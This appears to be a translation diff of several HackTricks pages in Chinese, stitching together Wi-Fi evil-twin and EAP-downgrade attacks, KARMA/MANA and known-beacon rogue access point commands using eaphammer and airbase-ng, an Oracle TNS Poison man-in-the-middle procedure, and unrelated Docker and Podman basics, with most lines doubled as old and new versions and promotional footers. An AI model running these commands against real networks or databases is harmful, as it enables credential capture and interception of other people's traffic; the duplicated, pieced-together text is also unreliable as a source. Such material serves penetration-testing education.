* [ wiki 中查找更多信息](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) * [维基中查找更多信息](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**使用 Airgeddon** **使用 Airgeddon**
`Airgeddon` 可以使用之前生成的证书来提供 EAP 认证给 WPA/WPA2-Enterprise 网络。假网络将降级连接协议到 EAP-MD5因此它将能够**捕获用户和密码的 MD5**。之后,攻击者可以尝试破解密码。\ `Airgeddon` 可以使用先前生成的证书来提供 EAP 认证给 WPA/WPA2-Enterprise 网络。虚假网络将降级连接协议到 EAP-MD5以便**捕获用户和密码的 MD5 值**。之后,攻击者可以尝试破解密码。\
`Airgeddon` 为您提供了**连续的 Evil Twin 攻击(嘈杂)**或**仅在有人连接时创建 Evil Attack平滑**的可能性。 `Airggedon` 为您提供了**连续的恶意双胞胎攻击(嘈杂)**或**仅在有人连接时创建恶意攻击(平稳**的可能性。
![](<../../.gitbook/assets/image (129).png>) ![](<../../.gitbook/assets/image (129).png>)
### 在 Evil Twins 攻击中调试 PEAP 和 EAP-TTLS TLS 隧道 ### 在恶意双胞胎攻击中调试 PEAP 和 EAP-TTLS TLS 隧道
_此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS 隧道,这也应该适用于 EAP-TTLS_ _此方法在 PEAP 连接中进行了测试,但由于我正在解密一个任意 TLS 隧道,因此这也适用于 EAP-TTLS_
_hostapd-wpe_ 的**配置**中**注释**包含 _**dh\_file**_ 的行(从 `dh_file=/etc/hostapd-wpe/certs/dh``#dh_file=/etc/hostapd-wpe/certs/dh`\ _hostapd-wpe_ 的**配置**中**注释**包含 _**dh\_file**_ 的行(从 `dh_file=/etc/hostapd-wpe/certs/dh``#dh_file=/etc/hostapd-wpe/certs/dh`\
这将使 `hostapd-wpe` **使用 RSA 交换密钥**而不是 DH所以你将能够**在知道服务器私钥的情况下**之后**解密**流量。 这将使 `hostapd-wpe` 使用 RSA 交换密钥,而不是 DH因此您将能够稍后**知道服务器的私钥**来**解密**流量。
现在像往常一样使用修改过的配置启动**Evil Twin**,使用 **`hostapd-wpe`**。同时,在执行 Evil Twin 攻击的**接口**上启动 **`wireshark`**。 现在像往常一样使用修改后的配置启动**恶意双胞胎**使用**`hostapd-wpe`**。同时,在执行恶意双胞胎攻击的**接口**上启动**`wireshark`**。
现在或稍后(当你已经捕获了一些认证尝试时),你可以在 wireshark 中添加私有 RSA 密钥:`编辑 --> 偏好设置 --> 协议 --> TLS --> (RSA 密钥列表) 编辑...` 现在或稍后(当您已经捕获了一些认证意图时),您可以在 `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` 中向 wireshark 添加私有 RSA 密钥。
添加一个新条目,并用以下值填写表单**IP 地址 = 任意** -- **端口 = 0** -- **协议 = 数据** -- **密钥文件****选择你的密钥文件**,为避免问题选择一个**没有密码保护**的密钥文件)。 添加一个新条目并填写以下值**IP 地址 = 任意** -- **端口 = 0** -- **协议 = 数据** -- **密钥文件****选择您的密钥文件**,为避免问题,请选择一个**没有密码保护的密钥文件**)。
![](<../../.gitbook/assets/image (151).png>) ![](<../../.gitbook/assets/image (151).png>)
并查看新的**“解密 TLS”标签** 然后查看新的**"解密的 TLS" 选项卡**
![](<../../.gitbook/assets/image (152).png>) ![](<../../.gitbook/assets/image (152).png>)
## KARMA, MANA, Loud MANA 和 Known beacons 攻击 ## KARMA、MANA、Loud MANA 和已知信标攻击
### ESSID 和 MAC 黑/白名单 ### ESSID 和 MAC 黑/白名单
下表列出了可用的不同类型的 MFACLs管理帧访问控制列表以及使用时的效果 下表列出了可用的不同类型的 MFACLs管理帧访问控制列表以及使用时的效果:
![](<../../.gitbook/assets/image (149).png>) ![](<../../.gitbook/assets/image (149).png>)
``` ```
@ -656,39 +657,39 @@ pears
``` ```
### KARMA ### KARMA
KARMA攻击是利用站点网络选择过程的第二种流氓接入点攻击形式。在2005年的一篇白皮书中Dino Dai Zovi和Shane Macaulay描述了攻击者如何配置接入点来监听定向探测请求,并对所有这些请求作出匹配的定向探测响应。这导致受影响的站点自动向攻击者的接入点发送关联请求。接入点随后回复一个关联响应,使受影响的站点连接到攻击者的接入点 Karma攻击是第二种利用站点使用的网络选择过程的恶意接入点攻击形式。在2005年的一篇白皮书中Dino Dai Zovi和Shane Macaulay描述了攻击者如何配置一个接入点来监听定向探测请求,并用匹配的定向探测响应对所有请求进行响应。这会导致受影响的站点自动向攻击者的接入点发送关联请求。接入点然后回复一个关联响应,导致受影响的站点连接到攻击者
### MANA ### MANA
根据Ian de Villiers和Dominic White的说法现代站点被设计为通过忽略那些尚未至少响应过一次广播探测请求的接入点的定向探测响应来保护自己免受KARMA攻击。这导致了直到2015年易受KARMA攻击的站点数量显著下降直到White和de Villiers开发出了一种绕过此类保护的方法。在White和de Villiers改进的KARMA攻击MANA攻击使用定向探测响应来重建附近站点的PNL首选网络列表。当从站点接收到广播探测请求时攻击者的接入点用该站点的PNL中已经在直接探测中看到的任意SSID响应。 根据Ian de Villiers和Dominic White的说法现代站点被设计为通过忽略那些尚未对至少一个广播探测请求做出响应的接入点的定向探测响应来保护自己免受Karma攻击。直到2015年White和de Villiers开发了一种绕过这种保护措施的方法。在White和de Villiers改进的Karma攻击MANA攻击定向探测响应被用来重建附近站点的PNL。当从一个站点接收到广播探测请求时攻击者的接入点会用该设备的PNL中已经看到的一个任意SSID来响应。
总结来说MANA算法的工作原理如下每次接入点接收到探测请求时首先确定它是广播探测还是定向探测。如果是定向探测发送者的MAC地址被添加到哈希表中如果它还不在那里并且ESSID被添加到该设备的PNL中。AP随后响应一个定向探测响应。如果是广播探测接入点对该设备PNL中的每个网络作出探测响应。 简而言之MANA算法的工作原理如下每次接入点接收到一个探测请求时首先确定它是广播还是定向探测。如果是定向探测发送者的MAC地址将被添加到哈希表中如果尚未存在并且ESSID将被添加到该设备的PNL中。接入点然后用定向探测响应进行回复。如果是广播探测接入点将为该设备的PNL中的每个网络响应探测响应。
使用eaphammer进行MANA攻击 使用eaphammerMANA攻击
``` ```
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
### 响亮的MANA攻击 ### 喧闹的MANA
请注意标准的MANA攻击仍然无法攻击根本不使用定向探测的设备。因此如果我们之前也不知道设备PNL中的任何条目我们需要找到其他方法来攻击它 请注意标准的MANA攻击仍然无法攻击那些根本不使用定向探测的设备。因此如果我们之前也不知道设备PNL中的任何条目我们需要找出其他攻击方式
一种可能性是所谓的响亮的MANA攻击。这种攻击依赖于这样一个想法在彼此物理接近的范围内的客户端设备很可能在它们的PNL中至少有一些共同的条目。 一种可能性是所谓的喧闹的MANA攻击。这种攻击依赖于这样一个想法即彼此在物理上接近的客户端设备可能至少在它们的PNL中有一些共同的条目。
总结来说响亮的MANA攻击不是对每个特定设备的PNL中的每个ESSID响应探测请求而是恶意AP对它之前看到的所有设备的每个PNL中的每个ESSID发送探测响应。将这与集合论联系起来我们可以说AP发送探测响应针对的是附近所有设备PNL的并集中的每个ESSID 简而言之喧闹的MANA攻击不是针对特定设备的PNL中的每个ESSID响应探测请求而是对它以前见过的所有设备的所有PNL中的每个ESSID发送探测响应。将这与集合论联系起来我们可以说AP为附近设备的所有PNL的并集中的每个ESSID发送探测响应
``` ```
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
``` ```
### 已知信标攻击 ### 已知信标攻击
有情况下Loud MANA 攻击可能不会成功。\ 然存在 Loud MANA 攻击无法成功的情况。\
已知信标攻击是一种“暴力破解”ESSID的方法尝试让受害者连接到攻击者的AP。攻击者创建一个对任何ESSID都会响应的AP并运行一些代码发送伪造的ESSID信标这些ESSID来自于一个词表中的每个名称。希望受害者的PNL中包含了一些这些ESSID名称并将尝试连接到伪造的AP。\ 已知的信标攻击是一种“暴力破解”ESSIDs的方法试图让受害者连接到攻击者。攻击者创建一个响应任何ESSID的AP并运行一些代码发送伪造ESSIDs的信标这些ESSID名称在一个单词列表中。希望受害者的 PNL 中包含一些这些 ESSID 名称,并尝试连接到伪造的 AP。\
Eaphammer 实现了这种攻击作为一种MANA攻击其中列表中的所有ESSID都会被加载你也可以结合使用 `--loud` 来创建一个Loud MANA + 已知信标攻击): Eaphammer 实现了这种攻击作为 MANA 攻击,其中所有列表中的 ESSIDs 都会被加载(您还可以将其与 `--loud` 结合使用,创建一个 Loud MANA + Known beacons 攻击):
``` ```
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
**已知信标突发攻击** **已知的信标爆破攻击**
众所周知信标是显眼的。您可以使用Eaphammer项目中的脚本来快速启动文件中每个ESSID名称的信标。如果您将此脚本与Eaphammer MANA攻击结合使用客户端将能够连接到您的AP。 已知信标很吵闹。您可以使用 Eaphammer 项目中的脚本,快速地发射文件中每个 ESSID 名称的信标。如果将此脚本与 Eaphammer MANA 攻击结合使用,客户端将能够连接到您的 AP。
``` ```
# transmit a burst of 5 forged beacon packets for each entry in list # transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \ ./forge-beacons -i wlan1 \
@ -699,15 +700,15 @@ Eaphammer 实现了这种攻击作为一种MANA攻击其中列表中的所
``` ```
## Wi-Fi Direct ## Wi-Fi Direct
Wi-Fi Direct是一种Wi-Fi标准允许设备在没有无线AP的情况下相互连接其中一个设备将充当AP称为群组所有者。你可以在许多物联网设备中找到Wi-Fi Direct如打印机、电视等。 Wi-Fi Direct是一种Wi-Fi标准允许设备在没有无线AP的情况下相互连接其中两个设备之一将充当AP称为组所有者。您可以在许多物联网设备中找到Wi-Fi Direct如打印机、电视等。
Wi-Fi Direct依赖于Wi-Fi Protected Setup**WPS**)来安全地连接设备。WPS有多种配置方法如**按键**配置PBC、**PIN输入**和**近场**通信NFC Wi-Fi Direct依赖于Wi-Fi Protected Setup**WPS**)来安全连接设备。WPS具有多种配置方法如**Push-Button** ConfigurationPBC、**PIN entry**和**Near-Field** CommunicationNFC
因此如果使用PIN之前看到的对WPS PIN的攻击在这里也同样有效 因此如果使用PIN先前针对WPS PIN的攻击也适用于这里
### EvilDirect劫持 ### EvilDirect劫持
这类似于Evil-Twin用于Wi-Fi Direct你可以冒充群组所有者尝试让其他设备如手机连接到你`airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0` 这类似于Evil-Twin适用于Wi-Fi Direct您可以冒充组所有者试图使其他设备如手机连接到您`airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
## 参考资料 ## 参考资料
@ -720,33 +721,19 @@ Wi-Fi Direct依赖于Wi-Fi Protected Setup**WPS**)来安全地连接设备
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) * [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
TODO: 查看 [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)facebook登录和WPA在captive portals中的模仿 TODO: 查看[https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)使用Facebook登录和在强制传送门中模拟WPA
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流! 加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
**黑客洞察**\ **黑客见解**\
深入探讨黑客的刺激和挑战 参与深入探讨黑客行为的刺激和挑战的内容
**实时黑客新闻**\ **实时黑客新闻**\
通过实时新闻和洞察,跟上快节奏的黑客世界 通过实时新闻和见解了解快节奏的黑客世界
**最新公告**\ **最新公告**\
通过最新的漏洞赏金发布和关键平台更新,保持信息更新 通过最新的赏金计划发布和重要平台更新保持信息更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **,今天就开始与顶尖黑客合作!** **加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
<details>
<summary><strong>从零开始学习AWS黑客攻击成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果你想在**HackTricks中看到你的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* 💬 加入[**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。**
</details>

View file

@ -1,54 +1,50 @@
```markdown
<details> <details>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
# TNS Poison 一种名为'TNS Poison'的漏洞影响监听器的版本最高到12c后者只在特定配置下存在漏洞。例如禁用监听器的动态配置是一种补救措施在使用Oracle DataGuard、带有APEX的PL/SQL Gateway和某些SAP版本的设置中这种补救措施是不可行的。该漏洞源自监听器服务默认支持远程配置的行为包括匿名配置这是漏洞的关键所在。
如果您遇到了更新版本的监听器除了暴力破解之外没有太多的余地。然而所有版本直到12c版本都容易受到一种称为TNS Poison的攻击。尽管后来的版本只在某些特殊配置下容易受到攻击。例如修复此漏洞的方法之一是禁用监听器的动态配置这在使用Oracle DataGuard、PL/SQL Gateway与APEX连接以及某些版本的SAP时是不可能的。总的来说问题在于默认情况下监听服务支持远程配置并且它允许匿名进行。这就是漏洞的核心所在。 ![https://hackmag.com/wp-content/uploads/2015/04/poison.png](https://hackmag.com/wp-content/uploads/2015/04/poison.png)
[![图 1. TNS Poison 漏洞](https://hackmag.com/wp-content/uploads/2015/04/poison.png)](https://hackmag.com/wp-content/uploads/2015/04/poison.png) *图1展示了TNS Poison漏洞。*
图 1. TNS Poison 漏洞 攻击算法示例详见如下参见图1
以下是一个示例攻击算法 \(见图 1\): 1. 发送TNS查询CONNECT_DATA=(COMMAND=SERVICE_REGISTER_NSGR)’。
2. 响应‘(DESCRIPTION=(TMP=))’表示存在漏洞,而经过修补的服务器会响应‘(ERROR_STACK=(ERROR=1194))’。
3. 攻击者需要生成一个配置包包括新监听器的SID和IP旨在进行中间人攻击。当前SID名称的长度对于构建一个格式良好的包至关重要。
4. 然后将这些组件转发给监听器。
5. 成功执行后新连接将通过监听器指向攻击者控制的IP。
* 发送以下TNS查询CONNECT\_DATA=\(COMMAND=SERVICE\_REGISTER\_NSGR\)\)’。 激活查询代理类似于Linux中的IP_forwarding至关重要以防止将潜在的中间人攻击转变为拒绝服务DoS攻击这将阻止新客户端连接到数据库。此漏洞允许攻击者向另一个用户的会话中插入命令。可以使用Metasploit FrameworkMSF模块auxiliary/scanner/oracle/tnspoison_checker来评估服务器的漏洞。
* 易受攻击的服务器将回应:‘\(DESCRIPTION=\(TMP=\)\)’。这将是打过补丁的服务器的回答:‘\(ERROR\_STACK=\(ERROR=1194\)\)’。
* 生成一个配置包包含新监听器的SID和IP用于未来的MITM。当前SID名称中的字符数量至关重要。您需要知道它因为这是一个格式正确的包所依赖的。
* 接下来,将所有这些好东西发送给监听器。
* 如果一切正确那么所有新的连接都将通过您控制的IP由监听器转发。
重要的是不要忘记启用查询代理如Linux中的IP\_forwarding否则您将得到一个粗糙的DoS攻击而不是一个整洁的MITM攻击因为新客户端将无法连接到数据库。结果攻击者可以在另一个用户的会话中嵌入他们自己的命令。**您可以使用以下MSF模块检查服务器是否容易受到攻击auxiliary/scanner/oracle/tnspoison\_checker。** 有关更多信息,请查看原始的[Hackmag关于Oracle数据库渗透方法的文章](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)。
本页内容摘自此处:[https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) **替代测试方法:**
**另一种测试方式:**
```
```text ```text
./odat.py tnspoison -s <IP> -p <PORT> -d <SID> --test-module ./odat.py tnspoison -s <IP> -p <PORT> -d <SID> --test-module
``` ```
<details> <details>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -2,31 +2,33 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 支持HackTricks的其他方式
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。** * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## Docker基础知识 ## Docker基础知识
### 什么 ### 什么是Docker
Docker平台是业界领先的容器平台用于持续、高速的创新,使组织能够无缝地构建和共享任何应用程序 - 从传统应用到下一代应用,并在任何地方安全地运行它们。 Docker平台是业界领先的容器平台支持持续、高速的创新,使组织能够无缝构建和共享任何应用程序 — 从传统的到未来的 — 并在任何地方安全地运行它们。
### 基本的Docker架构 ### 基本的Docker架构
这些信息来自[这里](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)。 这些信息来自[这里](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)。
* [containerd](http://containerd.io)是一个容器运行时,可以**管理完整的容器生命周期 - 从镜像传输/存储到容器执行**、监督和网络。**有关containerd的更多信息请参见下文。** * [containerd](http://containerd.io) 是一个容器运行时,可以**管理完整的容器生命周期 - 从镜像传输/存储到容器执行**、监督和网络。**有关containerd的更多信息请参见下文。**
* container-shim处理无头容器意味着一旦runc初始化容器它就会退出将容器交给充当中间人的container-shim。 * container-shim 处理无头容器意味着一旦runc初始化容器它就会退出将容器交给充当中间人的container-shim。
* [runc](http://runc.io)是一个轻量级通用运行时容器符合OCI规范。**runc由containerd用于根据OCI规范生成和运行容器**。它也是libcontainer的重新打包。 * [runc](http://runc.io) 是轻量级通用运行时容器符合OCI规范。**runc由containerd用于根据OCI规范生成和运行容器**。它也是libcontainer的重新打包。
* [grpc](http://www.grpc.io)用于containerd和docker-engine之间的通信。 * [grpc](http://www.grpc.io) 用于containerd和docker-engine之间的通信。
* [OCI](https://www.opencontainers.org)维护运行时和镜像的OCI规范。当前的Docker版本支持OCI镜像和运行时规范。 * [OCI](https://www.opencontainers.org) 维护运行时和镜像的OCI规范。当前的Docker版本支持OCI镜像和运行时规范。
![runC, containerD](https://i.stack.imgur.com/5aXF6.png) ![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
@ -55,9 +57,9 @@ docker system prune -a
``` ```
### Containerd ### Containerd
Containerd旨在供Docker和Kubernetes以及其他希望在Linux、Windows、Solaris或其他操作系统上抽象系统调用或特定于操作系统功能以运行容器的容器平台使用。考虑到这些用户我们希望确保containerd只包含他们需的内容,而不包含不需要的内容。实际上这是不可能的,但至少我们尽力而为。像网络这样的东西超出了containerd的范围。原因是在构建分布式系统时网络是一个非常核心的方面。随着SDN和服务发现的发展网络比在Linux上抽象netlink调用更具平台特定性 Containerd被设计用于被Docker和Kubernetes使用以及任何其他希望在Linux、Windows、Solaris或其他操作系统上**抽象系统调用或特定于操作系统功能以运行容器**的容器平台。考虑到这些用户我们希望确保containerd只包含他们需的内容,而不包含他们不需要的内容。实际上这是不可能的,但至少这是我们努力追求的目标。像**网络这样的功能对于containerd来说是超出范围的**。这是因为在构建分布式系统时网络是一个非常核心的方面。随着今天的SDN和服务发现网络比在Linux上抽象出netlink调用要具体得多
需要注意的是,Docker使用Containerd但它只提供了Docker提供的功能的子集。例如ContainerD没有Docker的网络管理功能也不能单独使用ContainerD创建Docker集群。 请注意,**Docker使用Containerd但它只提供了Docker提供的功能的子集**。例如ContainerD没有Docker的网络管理功能也不能单独使用ContainerD创建Docker集群。
```bash ```bash
#Containerd CLI #Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -75,22 +77,17 @@ ctr container delete <containerName>
``` ```
### Podman ### Podman
**信息** [**来自这里**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) 一个由 Red Hat 维护的符合 OCI[Open Container Initiative](https://github.com/opencontainers))标准的开源容器引擎,名为 Podman。与 Docker 相比,它具有几个关键区别,包括无守护程序结构和支持不需要 root 访问权限的容器。这两个工具的主要功能是管理镜像和容器。Podman 的一个显著目标是与 Docker 的 API 兼容,允许在 Podman 中使用几乎所有 Docker CLI 命令。
Podman是一个开源的、符合OCIOpen Container Initiative标准的容器引擎。它由Red Hat推动并与Docker有一些重要的区别比如它的无守护进程架构和对无根容器的支持。在本质上这两个工具都是做同样的事情管理镜像和容器。Podman的一个目标是拥有与Docker兼容的API。因此几乎所有Docker CLI的命令在Podman中也是可用的。 在 Podman 生态系统中还有两个附加工具Buildah 和 Skopeo。Buildah 用作构建容器镜像的 CLI 工具,而 Skopeo 用于执行像推送、拉取或检查等镜像操作。有关这些工具及其与 Podman 集成的更多信息,请参阅它们的 [GitHub 页面](https://github.com/containers/buildah/tree/master/docs/containertools)。
在Podman生态系统中您可能会找到另外两个工具Buildah和Skopeo。Buildah是一个用于构建容器镜像的CLI工具而Skopeo是一个用于在镜像上运行操作如推送、拉取或检查的CLI工具。请查看GitHub以获取有关这些工具及其与Podman的关系的更多信息。
**主要区别** **主要区别**
Docker和Podman之间最大的区别是它们的架构。Docker运行在客户端-服务器架构上而Podman运行在无守护进程架构上。但这意味着什么呢在使用Docker时您必须使用Docker CLI它与后台守护进程Docker守护进程进行通信。主要逻辑位于守护进程中它构建镜像并执行容器。这个守护进程以root权限运行。相比之下Podman架构允许您在启动容器的用户下运行容器fork/exec而此用户不需要任何root权限。因为Podman具有无守护进程架构每个运行Podman的用户只能看到和修改自己的容器。没有一个公共的守护进程与CLI工具进行通信 Docker 和 Podman 最显著的区别在于它们的架构设计。Docker 采用客户端-服务器模型,需要使用 Docker CLI 与负责构建镜像和执行容器的后台守护程序进行交互,后者以 root 权限运行。相比之下Podman 采用无守护程序架构,允许容器在启动用户的权限下执行,无需 root 访问权限。这种设计确保 Podman 的用户只能与自己的容器交互,而无需共享用于 CLI 通信的守护程序
